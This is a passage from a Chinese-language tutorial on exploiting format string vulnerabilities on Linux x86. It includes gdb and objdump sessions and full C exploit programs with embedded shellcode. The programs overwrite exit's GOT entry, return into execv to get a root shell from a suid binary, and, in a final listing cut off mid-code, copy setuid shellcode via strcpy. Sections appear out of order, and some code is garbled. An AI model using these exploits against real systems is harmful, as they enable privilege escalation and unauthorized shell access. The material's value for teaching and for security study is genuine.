0x420523c5 <printf+53>: mov %ebp,%esp
0x420523c7 <printf+55>: pop %ebp
0x420523c8 <printf+56>: ret
0x420523c9 <printf+57>: nop
0x420523ca <printf+58>: nop
0x420523cb <printf+59>: nop
0x420523cc <printf+60>: nop
---Type <return> to continue, or q <return> to quit---q
Quit
这个是printf函数的加载过程，下面的exit函数过程一样。
因为exit函数在printf后面加载， 所以我们可以通过format string漏洞覆盖掉exit函数的入口地址，不让他去执行真正的exit函数。
我们看一下exit函数的位置：
(gdb) disass main
Dump of assembler code for function main:
0x804835c <main>: push %ebp
0x804835d <main+1>: mov %esp,%ebp
0x804835f <main+3>: sub $0x8,%esp
0x8048362 <main+6>: and $0xfffffff0,%esp
0x8048365 <main+9>: mov $0x0,%eax
0x804836a <main+14>: sub %eax,%esp
0x804836c <main+16>: sub $0xc,%esp
0x804836f <main+19>: push $0x80483d0
0x8048374 <main+24>: call 0x804828c <printf>
0x8048379 <main+29>: add $0x10,%esp
0x804837c <main+32>: sub $0xc,%esp
0x804837f <main+35>: push $0x0
0x8048381 <main+37>: call 0x804829c <exit>
0x8048386 <main+42>: nop
0x8048387 <main+43>: nop
(gdb) x/i 0x804829c
0x804829c <exit>: jmp *0x80494dc
(gdb) x/wx 0x80494dc
0x80494dc <_GLOBAL_OFFSET_TABLE_+20>: 0x080482a2
(gdb) x/i 0x080482a2
0x80482a2 <exit+6>: push $0x10
(gdb)
0x80482a7 <exit+11>: jmp 0x804826c <_init+24> /*这里就需要加载exit函数地址了*/
只要我们覆盖掉0x80494dc地址，让里面的内容替换成我们的shellcode地址就可以执行我们的命令了.
对应我们的vuln程序：
[bkbll@mobile fmtxp_lib]$ objdump -R vuln
vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049648 R_386_GLOB_DAT __gmon_start__
0804964c R_386_COPY stderr
08049630 R_386_JUMP_SLOT fprintf
08049634 R_386_JUMP_SLOT fgets
08049638 R_386_JUMP_SLOT __libc_start_main
0804963c R_386_JUMP_SLOT printf
08049640 R_386_JUMP_SLOT exit
08049644 R_386_JUMP_SLOT fopen
所以want_write_addr=08049640,其他都一样。
[bkbll@mobile fmtxp_lib]$ cat x3.c
/* write to exit function GOT address
* objdump -R vuln |grep exit
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#define want_write_addr 0x8049640
#define pad 12
#define straddr 0xbffff690
char shellcode[]=
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
"\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
"/bin/sh";
main()
{
int high_ret,low_ret;
char
        buffer[1024];
int j=0;
int shell_addr_pad=0x50;
int
        rea_high_ret,rea_low_ret;
int
        print_acc;
memset(buffer,0x90,1024);
buffer[1023]=0;
high_ret=((straddr+shell_addr_pad) >> 16)
        & 0xffff;
low_ret=(straddr+shell_addr_pad) &
        0xffff;
if(high_ret == low_ret)
        exit(0);
rea_high_ret=high_ret;
rea_low_ret=low_ret;
if(high_ret
        < low_ret ) {
        rea_high_ret=low_ret;rea_low_ret=high_ret;}
print_acc=rea_high_ret -
        rea_low_ret;
fprintf(stderr,"use shell
        addr:%p\n",straddr+shell_addr_pad);
//j=sprintf(buffer,"%s",want_write_addr);
buffer[0]=want_write_addr
        & 0xff;
buffer[1]=(want_write_addr >> 8 ) &
        0xff;
buffer[2]=(want_write_addr >> 16 ) &
        0xff;
buffer[3]=(want_write_addr >> 24 ) &
        0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
buffer[4]=((want_write_addr+2))
        & 0xff;
buffer[5]=((want_write_addr+2)>>8) &
        0xff;
buffer[6]=((want_write_addr+2)>>16) &
        0xff;
buffer[7]=((want_write_addr+2)>>24) &
        0xff;
j=8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-j,pad+1,print_acc,pad);
buffer[j]=0x90;
sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
if(j>=1024)
        {printf("please realloc buffer to
        %d\n",j+1);exit(0);}
printf("%s\n",buffer);
}
bkbll@mobile fmtxp_lib]$ gcc -o x3 x3.c; ./x3 >3; ./vuln 3
蛝)繞蛝柁���/bin/sh
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
成功了。
我们跟踪一下程序：
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) disass foo
Dump of assembler code for function foo:
0x80484c4 <foo>: push %ebp
0x80484c5 <foo+1>: mov %esp,%ebp
0x80484c7 <foo+3>: sub $0x8,%esp
0x80484ca <foo+6>: sub $0xc,%esp
0x80484cd <foo+9>: pushl 0x8(%ebp)
0x80484d0 <foo+12>: call 0x8048350 <printf>
0x80484d5 <foo+17>: add $0x10,%esp
0x80484d8 <foo+20>: leave
0x80484d9 <foo+21>: ret
End of assembler dump.
(gdb) b *0x80484cd
Breakpoint 1 at 0x80484cd: file vuln.c, line 31.
(gdb) b *0x80484d5
Breakpoint 2 at 0x80484d5: file vuln.c, line 31.
(gdb) r 3
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 3
Breakpoint 1, 0x080484cd in foo (
line=0xbffff690 "@\226\004\bB\226\004\b%49143p%13$hn%14049p%12$hn", '\220' <repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %esp,%ebp
0x8048433 <main+3>: sub $0x418,%esp
0x8048439 <main+9>: and $0xfffffff0,%esp
0x804843c <main+12>: mov $0x0,%eax
0x8048441 <main+17>: sub %eax,%esp
0x8048443 <main+19>: sub $0x8,%esp
0x8048446 <main+22>: push $0x8048524
0x804844b <main+27>: mov 0xc(%ebp),%eax
0x804844e <main+30>: add $0x4,%eax
0x8048451 <main+33>: pushl (%eax)
0x8048453 <main+35>: call 0x8048370 <fopen>
0x8048458 <main+40>: add $0x10,%esp
0x804845b <main+43>: mov %eax,0xfffffff4(%ebp)
0x804845e <main+46>: cmpl $0x0,0xfffffff4(%ebp)
0x8048462 <main+50>: jne 0x8048489 <main+89>
0x8048464 <main+52>: sub $0x4,%esp
0x8048467 <main+55>: mov 0xc(%ebp),%eax
0x804846a <main+58>: pushl (%eax)
0x804846c <main+60>: push $0x8048527
0x8048471 <main+65>: pushl 0x804964c
0x8048477 <main+71>: call 0x8048320 <fprintf>
---Type <return> to continue, or q <return> to quit---
0x804847c <main+76>: add $0x10,%esp
0x804847f <main+79>: sub $0xc,%esp
0x8048482 <main+82>: push $0x1
0x8048484 <main+84>: call 0x8048360 <exit>
0x8048489 <main+89>: sub $0x4,%esp
0x804848c <main+92>: pushl 0xfffffff4(%ebp)
0x804848f <main+95>: push $0x3ff
0x8048494 <main+100>: lea 0xfffffbe8(%ebp),%eax
0x804849a <main+106>: push %eax
0x804849b <main+107>: call 0x8048330 <fgets>
0x80484a0 <main+112>: add $0x10,%esp
0x80484a3 <main+115>: movb $0x0,0xffffffe7(%ebp)
0x80484a7 <main+119>: sub $0xc,%esp
0x80484aa <main+122>: lea 0xfffffbe8(%ebp),%eax
0x80484b0 <main+128>: push %eax
0x80484b1 <main+129>: call 0x80484c4 <foo>
0x80484b6 <main+134>: add $0x10,%esp
0x80484b9 <main+137>: sub $0xc,%esp
0x80484bc <main+140>: push $0x0
0x80484be <main+142>: call 0x8048360 <exit>
End of assembler dump.
(gdb) x/i 0x8048360
0x8048360 <exit>: jmp *0x8049640
(gdb) x/wx 0x8049640
0x8049640 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048366
(gdb)c
蛝)繞蛝柁���/bin/sh
Breakpoint 2, 0x080484d5 in foo (
line=0xbffff690 "@\226\004\bB\226\004\b%49143p%13$hn%14049p%12$hn", '\220' <repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) x/wx 0x8049640
0x8049640 <_GLOBAL_OFFSET_TABLE_+28>: 0xbffff6e0 /* 已经修改成了我们的shellcode地址了 */
(gdb) x/i 0xbffff6e0
0xbffff6e0: nop
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
(gdb)
6．后记
我这里讲叙的都是一些最基本的format string利用方法，在phrack杂志上还有其他更深入很复杂的利用方法，比如利用覆盖return into libc的方法来饶过non-exec stack的限制等。有兴趣可以看看alert7, warning3等牛人的文章，或者直接看phrack杂志的介绍。
本人水平有限，对于GOT的理解只能是知其原，不知其所以原，如果理解有错误，还望不吝指教。
4.关于 format string漏洞在non-exec stack linux x86上的应用.
这里不特指使用了哪些non-exec stack补丁的系统, 我们的利用目的就是让我们的代码执行起来, 利用的方法可以有以下两种:
1. 利用execv 直接执行我们的代码, 这样避免了代码是在堆栈里执行的情况了.
2. 利用strcpy等将代码段或者shellcode拷贝到可写而且可执行的数据段里面.
3. 高级利用技术, 请参阅Phrack文摘.
当然还有其他好几种方法, 1,2比较容易理解点, 这里就1和2做出解释.
参考vuln程序还是利用前面几章介绍的代码.
(1) 利用execv执行我们的代码.
我们来看execv的函数执行格式:
$man execv
EXEC(3) Linux Programmer's Manual EXEC(3)
NAME
execl, execlp, execle, execv, execvp - execute a file
SYNOPSIS
#include <unistd.h>
extern char **environ;
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg , ..., char * const
envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
DESCRIPTION
从man page里面也可以知道为什么我们选用execv而不是用其他的execl,execlp等函数,或者system函数等,原因有几个:
a) execl,execlp函数最后面必须要有NULL结束, 等于就是0, 在format string里面想写入0到某个地址比较困难
b) execl,exclp等函数参数太多, 给我们构造format string带来了麻烦.
c) 为什么不用system呢? 从system的man page可以看出,system调用外部命令的方式是用/bin/sh -c , 对于一个具有suid的程序来说,bash 2版本不会加载suid权限为的, 除非我们给-p参数给他,也就是说除非使用/bin/sh -cp的方式调用才可以. 但system已经做死了, 所以不予考虑.虽然构造字符比较简单.
这里我们采用execv函数, 因为我们要在execv函数运行时候需要执行我们的参数, 所以写.dtors等方法不是很使用, 因为$esp的变动可能会影响我们的数据. 那我们就采用写函数的返回地址吧.
我们首先要知道几个地址:
a) execv在libc.so中的地址
b) 函数的返回地址
c) 我们的字符串在内存中的地址.
a,b, c等都可以轻松获得:
[bkbll@mobile test]$ objdump -x /lib/i686/libc.so.6 |grep execv
34 .gnu.warning.fexecve 00000039 00000000 00000000 0012a900 2**5
00000000 l O .gnu.warning.fexecve 00000039 __evoke_link_warning_fexecve
420ae650 l F .text 00000067 __execve
420ae9d0 l F .text 000002fc .hidden __GI_execvp
00000000 l d .gnu.warning.fexecve 00000000
420ae650 w F .text 00000067 execve
420ae6c0 g F .text 0000004d fexecve
420ae710 g F .text 00000039 execv
420ae9d0 g F .text 000002fc execvp
execv函数地址是0x 420ae710
我们来看看函数执行的时候返回地址在内存中存放的位置:
low addr---------------------------------> high addr
[ret addr][arg][arg][xxxxxxxxxxxxxxxxxxxxxx] :xxxx是我们不关心的数据
我们来看一看函数从leave 到ret指令的时候,esp和eip是怎么变化的:
0x80485c9 <foo+57>: add $0x10,%esp
0x80485cc <foo+60>: leave
0x80485cd <foo+61>: ret
Breakpoint 4, foo (
line=0xbffff6a0 "/* write to foo function return address and esp\n")
at vuln.c:57
57 }
(gdb) i reg eip
eip 0x80485cc 0x80485cc
(gdb) i reg esp
esp 0xbffff680 0xbffff680
(gdb) ni
0x080485cd in foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:57
57 }
(gdb) i reg eip esp
eip 0x80485cd 0x80485cd
esp 0xbffff68c 0xbffff68c
/* leave指令:eip 指向下一个要执行的地址,esp+12 */
(gdb) ni
0x08048583 in main (argc=2, argv=0xbffffb04) at vuln.c:44
44 foo (line);
(gdb) i reg eip esp
eip 0x8048583 0x8048583
esp 0xbffff690 0xbffff690
/* 要从函数返回了,eip指向函数的返回地址,就是前面的ret addr */
/* esp=esp+4; */
注意,这里的esp=(原来的ret addr) +4,
也就是说,如果我们改变程序流程的话, 让eip指向我们的函数,那么这个时候内存应该是这个样子:
low addr -----------------------------------------------------> high addr
[new function] [arg][arg][arg] [xxxxxxxxxxxxxxxxxxxxxxxxxxxx]
↑ $eip ↑$esp
跳到新函数地址后:
low addr -------------------------------------> high addr
[ret addr][arg][arg][arg][xxxxxxxxxxxxxxxxxxxxx]
↑$esp
也就是说原来的$esp+4成了调用我们函数的新返回地址 /* 这个在后面讨论strcpy调用的时候有用 */
由于我们的execv函数是没有返回的,也就是说这个地址没有必要构造, 而我们的execv有两个参数:( const char *path, char *const argv[])
所以在这里,我们需要写入三个地址:
[ret addr ] [ret addr+8] [retaddr+8+4]
假设我们想执行/bin/sh -ip的话, 那么
char *path="/bin/sh",
而char argv[]应该是:{"/bin/sh","-ip",NULL}
假设我们的"/bin/sh"字符的地址是:_bin_sh_addr,
我们可以这样构造字符串:
"/bin/sh\x00-ip\x00"
这个时候字符串"-ip"的地址应该是:_ip_addr=_bin_sh_addr+strlen("/bin/sh")+1;
这个时候我们可以来构造argv结构:
[_bin_sh_addr][_ip_addr][0x00000000]
↑argv addr
合并一下, 将"/bin/sh\x00-ip\x00"写在后面,就是:
[_bin_sh_addr][_ip_addr][0x00000000][somepad] "/bin/sh\x00-ip\x00"
注:这里的somepad可以为0,也可以为某些其他字符,没什么用途, 但是在某些特殊系统可能有用^^.
那么我们可以计算arg的地址 :):
_argv_addr=_bin_sh_addr-somepad-4*3
这个时候地址构造就全部出来了, 现在剩下的就是_bin_sh_addr的地址确定, 绝对地址虽然比较难确定, 但和我们字符串开头的地址还是比较容易确定的:) 构造好后可以搜索内存或者用变量统计就可以计算得出:)
这个时候我们需要把下面几个地址写进堆栈里面:
execv函数的地址 写进 函数返回地址
_bin_sh_addr 写进 函数返回地址+8
_argv_addr 写进 函数返回地址+8+4
我们可以手工模拟一下大概数据计算, 并且根据大小排列一下:
假设_bin_sh_addr在0xbffff780, somepad=0,那么argv addr=0xbffff780-12=0xbffff774
要写的数据:
0x420ae710 0xbffff780 0xbffff774
分别按16位拆开:
0x420a<0xbfff<0xe710<0xf774<0xf780
num1 num2 num3 num4 num5
再来看一下数据的构成(按照高位在后的原则:)
0x420ae710 0xbffff780 0xbffff774
num3 num1 num5 num2 num4 num2
假设第一个要写的数据地址是pad个间隔(从数据开始地址到函数返回地址):
那么上面可以重新排列一下:
0x420ae710 0xbffff780 0xbffff774
num3 num1 num5 num2 num4 num5
pad pad+1 pad+2 pad+3 pad+4 pad+5
好,我们可以构造一下数据:
假设我们在输出num1的前面还输出了j 个字节的内容,那么应该是这样:
num1-j 写到 pad+1处
num2-num1 写到 pad+3,pad+5处,
num3-num2 写到 pad处
num4-num3 写到 pad+4处
num5-num4 写到 pad+2处.
最后,我们构造的格式化字符串应该是这样的:
sprintf(buffer,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+1,num2-num1,pad+3,pad+5,num3-num2,pad,num4-num3,pad+4,num5-num4,pad+2);
最后就可以给出我们的exploit了:
/* write to foo function return address and esp
* use execv for getting shell in the non-exec stack system
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define want_write_addr 0xbffff6ac //foo return address
//#define want_write_addr2 0xbffff684 //esp address
#define pad 12 //pop esp value
#define allstraddr 0xbffff6c0 // string addr:for gdb is 0xbffff6a0,for prog:0xbffff6c0
#define execv_call_addr 0x420ae710 //objdump -x /lib/i686/libc.so.6 |grep execv
#define BUFSIZE 200
char shellcode[]=
"/bin/sh\x00-ip\x00";
char *file="./4";
main(int argc,char **argv)
{
char buffer[BUFSIZE];
int j=0,i=0;
int
        shell_addr_pad=80;
int somechar=0;
int want_write_addr2 =
        want_write_addr+8;
int want_write_addr3 = want_write_addr+8+4;
int
        argvaddr; //= _bin_shaddr-somechar-4*3;
int _ip_addr; //=
        _bin_shaddr+strlen("/bin/sh")+1;
int fd;
int
        num1,num2,num3,num4,num5;
int _bin_shaddr=0xbffff6b0;
int
        distance=95+0x00;
memset(buffer,0,BUFSIZE);
buffer[BUFSIZE-1]=0;
if(argc>1)
        distance=atoi(argv[1]);
_bin_shaddr=allstraddr+distance;
argvaddr
        = _bin_shaddr-somechar-4*3;
_ip_addr =
        _bin_shaddr+strlen("/bin/sh")+1;
num1=(execv_call_addr >>16) &
        0xffff;
num3=(execv_call_addr) & 0xffff;
num2=(_bin_shaddr
        >>16) & 0xffff;
num4=(argvaddr) &
        0xffff;
num5=(_bin_shaddr) &
        0xffff;
fprintf(stderr,"num1:%#x,num2:%#x,num3:%#x,num4:%#x,num5:%#x\n",num1,num2,num3,num4,num5);
//ensure
        num4>num3>num2>num1
fprintf(stderr,"_bin_sh
        addr:%#x\n",_bin_shaddr);
//j=sprintf(buffer,"%s",want_write_addr);
/*
        pad */
buffer[0]=want_write_addr &
        0xff;
buffer[1]=(want_write_addr >> 8 ) &
        0xff;
buffer[2]=(want_write_addr >> 16 ) &
        0xff;
buffer[3]=(want_write_addr >> 24 ) &
        0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
/* pad+1
        */
buffer[4]=((want_write_addr+2)) &
        0xff;
buffer[5]=((want_write_addr+2)>>8) &
        0xff;
buffer[6]=((want_write_addr+2)>>16) &
        0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;
/*
        pad+2 */
buffer[8]=((want_write_addr2)) &
        0xff;
buffer[9]=((want_write_addr2)>>8) &
        0xff;
buffer[10]=((want_write_addr2)>>16) &
        0xff;
buffer[11]=((want_write_addr2)>>24) & 0xff;
/*
        pad+3 */
buffer[12]=((want_write_addr2+2)) &
        0xff;
buffer[13]=((want_write_addr2+2)>>8) &
        0xff;
buffer[14]=((want_write_addr2+2)>>16) &
        0xff;
buffer[15]=((want_write_addr2+2)>>24) &
        0xff;
/* pad+4 */
buffer[16]=((want_write_addr3))
        & 0xff;
buffer[17]=((want_write_addr3)>>8) &
        0xff;
buffer[18]=((want_write_addr3)>>16) &
        0xff;
buffer[19]=((want_write_addr3)>>24) & 0xff;
/*
        pad+5 */
buffer[20]=((want_write_addr3+2)) &
        0xff;
buffer[21]=((want_write_addr3+2)>>8) &
        0xff;
buffer[22]=((want_write_addr3+2)>>16) &
        0xff;
buffer[23]=((want_write_addr3+2)>>24) &
        0xff;
j=8*3;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+1,num2-num1,pad+3,pad+5,num3-num2,pad,num4-num3,pad+4,num5-num4,pad+2);
//fprintf(stderr,"j=%d\r\n",j);
/*
        arg addr */
j++;
buffer[j++]=argvaddr &
        0xff;
buffer[j++]=(argvaddr >>8) &
        0xff;
buffer[j++]=(argvaddr >>16) &
        0xff;
buffer[j++]=(argvaddr >>24) & 0xff;
// /bin/sh addr
buffer[j++]=_bin_shaddr
        & 0xff;
buffer[j++]=(_bin_shaddr >>8) &
        0xff;
buffer[j++]=(_bin_shaddr >>16) &
        0xff;
buffer[j++]=(_bin_shaddr >>24) & 0xff;
// _ip_addr
        addr
buffer[j++]=_ip_addr & 0xff;
buffer[j++]=(_ip_addr
        >>8) & 0xff;
buffer[j++]=(_ip_addr >>16) &
        0xff;
buffer[j++]=(_ip_addr >>24) & 0xff;
// NULL
buffer[j++]=0;
buffer[j++]=0;
buffer[j++]=0;
buffer[j++]=0;
// "/bin/sh" string
j+=sprintf(buffer+j,"/bin/sh");
/* 这里有两种方法计算距离*/
/* 第一种用j就可以了*/
fprintf(stderr,"caculate the distance from
        buffer+0 to \"/bin/sh\"
        addr:%d\r\n",j-strlen("/bin/sh"));
/*这里是搜索内存*/
while(1)
{
if(i%16==0)
{
printf("\r\n%p:
        ",buffer+i);
}
printf("%3.2x",buffer &
        0xff);
if((buffer=='/') && (buffer[i+1]=='b') &&
        (buffer[i+2]=='i'))
{
printf("\r\nGot
        it,distance:%d,%s\r\n",i,buffer+i);
break;
}
i++;
}
buffer[j++]=0;
j+=sprintf(buffer+j,"-ip");
if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}
/* write to file
        */
if((fd=open(file,O_CREAT|O_RDWR|O_TRUNC,0777))<0)
{
perror("write
        to file
        error");
exit(0);
}
write(fd,buffer,200);
close(fd);
printf("ok,write down\n");
}
我们来试一下:
[bkbll@mobile fmtxp_lib]$ gcc -o x4 x4.c
[bkbll@mobile fmtxp_lib]$ ./x4
num1:0x420a,num2:0xbfff,num3:0xe710,num4:0xf713,num5:0xf71f
_bin_sh addr:0xbffff71f
caculate the distance from buffer+0 to "/bin/sh" addr:108
0xbffffa10: ac f6 ff bf ae f6 ff bf b4 f6 ff bf b6 f6 ff bf
0xbffffa20: b8 f6 ff bf ba f6 ff bf 25 31 36 38 38 32 70 25
0xbffffa30: 31 33 24 68 6e 25 33 32 32 34 35 70 25 31 35 24
0xbffffa40: 68 6e 25 31 37 24 68 6e 25 31 30 30 30 31 70 25
0xbffffa50: 31 32 24 68 6e 25 34 30 39 39 70 25 31 36 24 68
0xbffffa60: 6e 25 31 32 70 25 31 34 24 68 6e 00 13 f7 ff bf
0xbffffa70: 1f f7 ff bf 27 f7 ff bf 00 00 00 00 2f
Got it,distance:108,/bin/sh
ok,write down
[bkbll@mobile fmtxp_lib]$
两种方法都计算出来了/bin/sh到顶端的距离是108, 我们加上108就可以得到_bin_sh_addr了:
[bkbll@mobile fmtxp_lib]$ ./x4 108
num1:0x420a,num2:0xbfff,num3:0xe710,num4:0xf720,num5:0xf72c
_bin_sh addr:0xbffff72c
caculate the distance from buffer+0 to "/bin/sh" addr:108
0xbffffa00: ac f6 ff bf ae f6 ff bf b4 f6 ff bf b6 f6 ff bf
0xbffffa10: b8 f6 ff bf ba f6 ff bf 25 31 36 38 38 32 70 25
0xbffffa20: 31 33 24 68 6e 25 33 32 32 34 35 70 25 31 35 24
0xbffffa30: 68 6e 25 31 37 24 68 6e 25 31 30 30 30 31 70 25
0xbffffa40: 31 32 24 68 6e 25 34 31 31 32 70 25 31 36 24 68
0xbffffa50: 6e 25 31 32 70 25 31 34 24 68 6e 00 20 f7 ff bf
0xbffffa60: 2c f7 ff bf 34 f7 ff bf 00 00 00 00 2f
Got it,distance:108,/bin/sh
ok,write down
[bkbll@mobile fmtxp_lib]$
看看效果如何:
[bkbll@mobile fmtxp_lib]$ ls -l vuln
-rwsr-xr-x 1 root root 19283 6月 7 18:31 vuln /*便于测试,给了suid root */
[bkbll@mobile fmtxp_lib]$./vuln 4
/* some extra char */
sh-2.05b# id
uid=500(bkbll) gid=500(bkbll) euid=0(root) groups=500(bkbll)
sh-2.05b#
ok,可以了.
(2) 利用strcpy
虽然限制了我们不能在堆栈中运行程序,但是我们总可以找到即可写又可以运行的地方吧?;)
elf文件中的DYNAMIC区是个不错的选择:
[bkbll@mobile fmtxp_lib]$ objdump -p vuln
vuln: file format elf32-i386
Program Header:
PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
filesz 0x000000c0 memsz 0x000000c0 flags r-x
INTERP off 0x000000f4 vaddr 0x080480f4 paddr 0x080480f4 align 2**0
filesz 0x00000013 memsz 0x00000013 flags r--
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x0000066f memsz 0x0000066f flags r-x
LOAD off 0x00000670 vaddr 0x08049670 paddr 0x08049670 align 2**12
filesz 0x00000114 memsz 0x0000011c flags rw-
DYNAMIC off 0x00000680 vaddr 0x08049680 paddr 0x08049680 align 2**2
filesz 0x000000c8 memsz 0x000000c8 flags rw- /*虽然这里没标明x,但的确可运行*/
NOTE off 0x00000108 vaddr 0x08048108 paddr 0x08048108 align 2**2
filesz 0x00000020 memsz 0x00000020 flags r--
Dynamic Section:
NEEDED libc.so.6
INIT 0x80482f8
FINI 0x80485f4
HASH 0x8048128
STRTAB 0x8048204
SYMTAB 0x8048164
STRSZ 0x6f
SYMENT 0x10
DEBUG 0x0
PLTGOT 0x804975c
PLTRELSZ 0x30
PLTREL 0x11
JMPREL 0x80482c8
REL 0x80482b8
RELSZ 0x10
RELENT 0x8
VERNEED 0x8048288
VERNEEDNUM 0x1
VERSYM 0x8048274
Version References:
required from libc.so.6:
0x0d696911 0x00 03 GLIBC_2.1
0x0d696910 0x00 02 GLIBC_2.0
就用这个地址了.
和用execv思路差不多, 我们需要改写的四个地址:
low addr -----------------------------------------------------------------> high addr
[ret addr][ret addr+4][ret addr+8][ret addr+12][xxxxxxxxxxxxxxxxxxxx]
改写成:
low addr -----------------------------------------------------------------> high addr
[strcpy function addr] [dest addr] [dest addr] [src addr] [xxxxxxxxxxxxxxx]
从前面讨论可以知道, 第一个dest addr是strcpy函数的返回的地址,而第二个dest addr则是strcpy的第一个参数,src addr是strcpy的第二个参数,所以需要连续写两个 dest addr :)
我们需要写的数据(假设shellcode addr=0xbffff78c):
strcpy 的地址 0x42079da0 写入到 [ret addr]
dest addr 的地址0x08049680 写入到[ret addr+4]
dest addr 的地址0x08049680 写入到[ret addr+8]
src addr 的地址 0xbffff78c 写入到[ret addr+12]
我们来精心构造格式化字符串:
0x0804<0x4207<0x9680<0x9da0<0xbfff<0xf78c
num1 num2 num3 num4 num5 num6
按16位(%hn格式)分开:
0x42079da0 0x08049680 0x08049680 0xbffff78c
num4 num2 num3 num1 num3 num1 num6 num5
pad pad+1 pad+2 pad+3 pad+4 pad+5 pad+6 pad+7
那么最后可以得到:
sprintf(buffer,"%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+3,pad+5,num2-num1,pad+1,num3-num2,pad+2,pad+4,num4-num3,pad,num5-num4,pad+7,num6-num5,pad+6);
最终buffer就是我们要的结果.
我们可以得到exploit程序如下:
/* write to foo function return address and esp
* use strcpy for getting shell in the non-exec stack system
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define want_write_addr 0xbffff6ac //foo return
        address:for gdb is 0xbffff68c,for prog=0xbffff6ac;
//#define
        want_write_addr2 0xbffff684 //esp address
#define pad 12 //pop esp
        value
#define allstraddr 0xbffff6c0 // string addr:for gdb is
        0xbffff6a0,for prog:0xbffff6c0
#define dynamic_addr 0x08049680
        //objdump -p ./vuln |grep DYNAMIC
#define strcpy_addr 0x42079da0 //$
        objdump -x /lib/i686/libc.so.6 |grep strcpy
#define BUFSIZE 200
char shellcode[]=
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char *file="./5";
main(int argc,char **argv)
{
char buffer[BUFSIZE];
int j=0,i=0;
int shell_addr_pad=80;
int somechar=0;
int want_write_addr2 = want_write_addr+4;
int want_write_addr3 = want_write_addr+4+4;
int want_write_addr4 = want_write_addr+4+4+4;
int fd;
int
        num1,num2,num3,num4,num5,num6;
int _bin_shaddr=0xbffff6b0;
int
        distance=95+0x00;
memset(buffer,0,BUFSIZE);
buffer[BUFSIZE-1]=0;
if(argc>1)
        distance=atoi(argv[1]);
_bin_shaddr=allstraddr+distance;
num1=(dynamic_addr >>16) &
        0xffff;
num3=(dynamic_addr) & 0xffff;
num2=(strcpy_addr
        >>16) & 0xffff;
num4=(strcpy_addr) &
        0xffff;
num6=(_bin_shaddr) & 0xffff;
num5=(_bin_shaddr
        >>16) &
        0xffff;
fprintf(stderr,"num1:%#x,num2:%#x,num3:%#x,num4:%#x,num5:%#x,num6:%#x\n",num1,num2,num3,num4,num5,num6);
fprintf(stderr,"shellcode
        addr:%#x\n",_bin_shaddr);
/* pad */
buffer[0]=want_write_addr
        & 0xff;
buffer[1]=(want_write_addr >> 8 ) &
        0xff;
buffer[2]=(want_write_addr >> 16 ) &
        0xff;
buffer[3]=(want_write_addr >> 24 ) &
        0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
/* pad+1
        */
buffer[4]=((want_write_addr+2)) &
        0xff;
buffer[5]=((want_write_addr+2)>>8) &
        0xff;
buffer[6]=((want_write_addr+2)>>16) &
        0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;
/*
        pad+2 */
buffer[8]=((want_write_addr2)) &
        0xff;
buffer[9]=((want_write_addr2)>>8) &
        0xff;
buffer[10]=((want_write_addr2)>>16) &
        0xff;
buffer[11]=((want_write_addr2)>>24) & 0xff;
/*
        pad+3 */
buffer[12]=((want_write_addr2+2)) &
        0xff;
buffer[13]=((want_write_addr2+2)>>8) &
        0xff;
buffer[14]=((want_write_addr2+2)>>16) &
        0xff;
buffer[15]=((want_write_addr2+2)>>24) &
        0xff;
/* pad+4 */
buffer[16]=((want_write_addr3))
        & 0xff;
buffer[17]=((want_write_addr3)>>8) &
        0xff;
buffer[18]=((want_write_addr3)>>16) &
        0xff;
